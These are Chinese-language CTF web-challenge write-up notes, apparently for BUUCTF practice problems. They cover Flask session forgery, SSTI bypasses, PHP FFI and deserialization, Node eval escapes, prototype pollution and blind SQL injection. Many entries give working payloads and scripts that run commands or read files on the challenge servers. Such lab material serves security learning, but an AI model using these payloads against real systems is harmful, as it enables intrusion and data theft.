[watevrCTF-2019]Supercalc
考点:flask Session伪造
页面有计算功能->0/0得到报错信息可知为flask框架->抓包得到flask-session->脚本解密session->网站会执行session中的命令->0/0#{{config}}获取key->利用key伪造任意命令session
[HFCTF2020]JustEscape
考点:vm2沙箱逃逸,留个坑先
[SCTF2019]Flag Shop
考点:Ruby的ERB模板注入+jwt伪造
访问robot.txt->/filebak得到Ruby源码,漏洞出现在以下地方
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
name参数可以进行ERB模板注入,使用<%=$'%>
预定义变量来获取key->伪造jwt获取flag
[pasecactf_2019]flask_ssti
考点:模板注入ByPass+进程读取/proc/self
这题有点坑,BUU给出的源码是错的。。需要把两个key的最后一位删除
POSTnickname存在模板注入->{{config}}获取加密flag,解密即可->模板注入读文件(十六进制绕过)->使用get_data读取/proc/self/fd/3
文件,参考,或者先读取进程获取uid,然后使用cat读/proc/1/fd/3即可
[watevrCTF-2019]Pickle Store
考点:Pickle反序列化
构造opcode反弹shell->base64发送
[RootersCTF2019]ImgXweb
考点:JWT伪造
session存在JWT,解密内容为用户名,考虑伪造admin->robots.txt发现密钥->伪造adminJWT->curl访问flag.png
[PASECA2019]honey_shop
考点:任意文件读取+Flask Session伪造
存在文件下载->目录穿越读取进程文件获取Key->利用key伪造session->注意明文的单双引号
[BSidesCF 2020]Hurdles
考点:HTTP协议
X-Forwarded-For: client1, proxy1, proxy2。从标准格式可以看出,X-Forwarded-For头信息可以有多个,中间用逗号分隔,第一项为真实的客户端ip,剩下的就是曾经经过的代理或负载均衡的ip地址,经过几个就会出现几个
层层构造,最终得到
对于PUT请求方式的身份验证,也可以使用Curl工具,curl -u username:passwd
完整payload:
curl -X PUT 'http://node3.buuoj.cn:25896/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player':'54ef36ec71201fdf9d1423fd26f97f6b' -A 1337v.9000 -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'Accept:text/plain' -H 'Accept-Language:ru' -H 'Origin:https://ctf.bsidessf.net' -H 'Referer:https://ctf.bsidessf.net/challenges'
virink_2019_files_share
考点:任意文件读取
过滤了../
,双写绕过即可
/preview?f=....//....//....//....//....//....//f1ag_Is_h3rere//flag
[RCTF 2019]Nextphp
考点:FFI(Foreign Function Interface,外部函数接口)绕过disable_function,参考
题目给出eval函数,但存在disable_function限制->phpinfo()查看基本信息->存在FFI扩展,开启了opcache.preload=/var/www/html/preload.php
preload.php是php7.4新特性,运行web程序之前会将preload文件先加载到内存中
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
...
}
}
通过run()来构造FFI函数FFI::cdef("int system(char* command);");
->获取C语言的system函数->unserialize获取命令执行函数->命令执行无回显,写入文件
poc
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];
private function run () {
echo "run<br>";
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
return;
}
}
$a = new A();
echo base64_encode(serialize($a)); // 即payload
payload为/?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('cat%20/flag>/var/www/html/1.txt');
[GWCTF 2019]你的名字
考点:模板注入绕过
网站报错和路由都伪装成了php,实际上是Python的Jinja2模板。
测试可以得到网站过滤了一些常用模板记号->使用attr+编码绕过->失败,无法获取__builtins__->绕过payload如下
{%print(lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read())%}
也可以用{%set a=%}和变量拼接的方式绕过
常用SSTI ByPass参考文章
https://xz.aliyun.com/t/9584#toc-19
https://blog.csdn.net/cjdgg/article/details/115770395?spm=1001.2014.3001.5501
[FBCTF2019]Event
考点:Flask Session伪造+SSTI
这题略有脑洞,在event_import处存在不加{{}}
的模板注入->__class__.__init__.__globals__[app].config
查找配置文件->通过key伪造session
[WMCTF2020]Make PHP Great Again 2.0
考点:PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
预期解payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
?file=php://filter/read=convert.base64-encode/index/resource=/123/../../proc/self/cwd/flag.php
[网鼎杯 2020 玄武组]SSRFMe
考点:SSRF绕过+Redis主从复制
利用session.upload_progress进行文件包含
[网鼎杯 2020 青龙组]notes
考点:原型链参数污染
低版本的undefsafe存在原型链污染,当给不存在的对象赋值时会创建新对象->edit_note函数使用undefsafe赋值->属性id,author,raw存在原型链参数污染->构造?id=__proto__&author=ls&raw=aaa
->/status路由遍历command执行命令
题目不出网,源码找到了一个静态可写路径,可将flag写入./public/a.txt
。读取即可
[NPUCTF2020]验证🐎
考点:JS弱类型+命令执行绕过
存在eval()函数,考虑命令执行->正则第一部分只允许Math或Math.xxx的形式,第二部分只允许一些特殊符号,第三部分只允许数字和.
等,匹配模式为(?:)非捕获模式->只有满足以上格式的字符串才能执行
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
构造Payload
(Math=>
(Math=Math.constructor,
Math.constructor(
Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
)
)(Math+1)
分析:构造类似沙箱逃逸,首先是一个箭头函数的自调用(()=>())()
,参数为Math+1
,转换为字符串类型->接着执行‘String’.constructor,获取String对象->接着执行String.constructor获取Function对象->使用Function对象执行函数"return process.mainModule.require('child_process').execSync('dir').toString()"
->然后使用Math.fromCharCode将字符转为ASCII绕过
第二步是绕过md5判断,这里涉及到了js的弱类型转换
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))
最终Payload
{"e":"(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114, 101, 116, 117, 114, 110, 32, 103, 108, 111, 98, 97, 108, 46, 112, 114, 111, 99, 101, 115, 115, 46, 109, 97, 105, 110, 77, 111, 100, 117, 108, 101, 46, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 46, 95, 108, 111, 97, 100, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 46, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 99, 97, 116, 32, 47, 102, 108, 97, 103, 39, 41, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 41))()))(Math+1)", "first":"1","second":[1]}
[羊城杯 2020]Easyphp2
考点:伪协议绕过+蚁剑命令执行
过滤了base64伪协议,可以使用url编码绕过,也可以使用其他编码绕过,这里我使用的是php://filter/read=convert.quoted-printable-decode/resource
->读取源码,可以构造闭合语句进而命令执行'|command||'
->写马链接蚁剑,flag文件有权限设置->使用命令printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
切换用户并读flag
[XDCTF 2015]filemanager
考点:文件上传+二次注入
www.tar.gz得到源码->存在addslashes函数,无法直接注入(存入数据库的数据没有\
)->存在更名功能,且我们只能控制文件名,无法控制后缀,可以使用二次注入将extensions字段制空->当更改其他文件的文件名时,文件名中的.xxx
格式就会被当作后缀
上传文件',extension='',filename='eval.txt.txt
,然后将其更名为eval.txt.txt
,此时执行的sql语句为update `file` set `filename`='eval.txt', `oldname`='',extension='',filename='eval.txt' where `fid`={$result['fid']}"
,因此eval.txt.txt
文件的extnesion
字段被设置为空->此时有filename='eval.txt',extension=''
的数据,我们再上传一个eval.txt
文件->然后将其更名为eval.php
即可链接蚁剑。
[HFCTF 2021 Final]easyflask
考点:Pickle反序列化+任意文件读取
[蓝帽杯 2021]One Pointer PHP
考点:PHP数组溢出漏洞+disable_function绕过+openbase_dir绕过
[PwnThyBytes 2019]Baby_SQL
考点:session绕过+sql盲注
source.zip下载源码->index.php页面使用session_start开启session,并且会根据业务逻辑来包含相应的文件。但是在index,php传入的参数会使用addslashes()
函数进行过滤->login.php页面存在明显的sql注入,但是直接访问会判断是否设置session->使用session.upload_progress.enabled
来开启session,具体原理见Session上传进度->随便上传一个文件,并且POST赋值PHP_SESSION_UPLOAD_PROGRESS
->服务器自动开启Session
绕过session判断之后可以使用sql盲注获取flag
import requests
url="http://19a4fd89-2eb1-49dc-9be5-6ccb4caab26d.node4.buuoj.cn:81/templates/login.php?password=1&username="
data={"PHP_SESSION_UPLOAD_PROGRESS":"1"}
files={"file1":"abcdef"}
proxies={"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
cookies={"PHPSESSID":"qwertyu"}
flag=''
for i in range(1,100):
print("--------------" + str(i) + "---------------")
low=32
high=128
mid=(low+high)//2
while low<high:
#ptbctf
# payload='" or if(ascii(substr((select database()),{},1))>{},1,0)%23'.format(i,mid)
#flag_tbl,ptbctf
# payload = '" or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)%23'.format(i, mid)
#secret
# payload = '" or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag_tbl"),{},1))>{},1,0)%23'.format(i, mid)
payload = '" or if(ascii(substr((select secret from flag_tbl),{},1))>{},1,0)%23'.format(i, mid)
r=requests.post(url+payload,files=files,data=data,cookies=cookies,proxies=proxies)
if "<meta" in r.text:
low=mid+1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
print(mid)
flag += chr(mid)
print(flag)
[羊城杯 2020]Blackcat
考点:hash数组绕过
查看源码,有音频文件->下载,010打开发现源码->使用hash_hmac加密,使用数组绕过使返回值为null,则下一次的加密密码就为null->传入命令执行即可
[HBCTF2017]大美西安
注册登陆后有文件上传和下载功能->看到image的序号,考虑将数据存入了数据库->downfile的image字段存在sql注入->双写绕过0+ununionion+seselectlect+0x75706C6F61642E706870
将源码下载下来
index.php中存在文件名拼接->存在后缀限制,考虑伪协议phar://
upload.php中得到路径/Up10aDs/random+name.xxx
->insert语句得到数据库的结构`download` (`uid`,`image_name`,`location`)
->考虑通过注入来获得上传的文件名,进而包含
sql语句过滤了各种符号,考虑使用order by 盲注,poc如下
from time import sleep
import requests
url = 'http://814dd5b7-7280-4faa-831d-864f32bcd88d.node4.buuoj.cn:81/downfile.php'
cookie = {"Cookie": "UM_distinctid=17f689784d6653-02bf9e169048e4-4c3e227d-144000-17f689784d77a2; PHPSESSID=0latp9j1q31djhkn3sh8sbvj31"}
name = '0x2e2f557031306144732f'
temp = ''
proxies={"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
# 已知的./Up10aDs/
for a in range(200):
for i in range(30, 130):
print(i)
if i == 46 or i == 47:
continue
data = {"image": "2 ununionion selselectect " + name + hex(i)[2:] + " oorrder by 1",
"image_download": "%E6%94%B6%E8%97%8F"}
result = requests.post(url=url, data=data, headers=cookie,proxies=proxies)
if result.status_code != 200:
sleep(1)
result = requests.post(url=url, data=data, headers=cookie)
# print (result.text)
if 'shell' in result.text:
name += hex(i - 1)[2:]
temp += chr(i - 1)
print(temp.lower())
break
得到路径名后->?file=phar://path/sql_path/name访问到我们的木马->执行echo `ls`获取flag文件名->sql读取flag
[CSAWQual 2016]i_got_id
后台将上传的文件又读了出来,考虑使用了param
函数。param()函数会返回一个列表的文件。
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
while (<$file>) {
print "$_";
print "<br />";
}
}
当perl脚本运行时,从命令行上传递给它的参数存储在内建数组@ARGV中,@ARGV是PERL默认用来接收参数的数组,可以有多个参数,$ARGV[0]是表示接收到的第一个参数,$ARGV[1]表示第二个。
对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。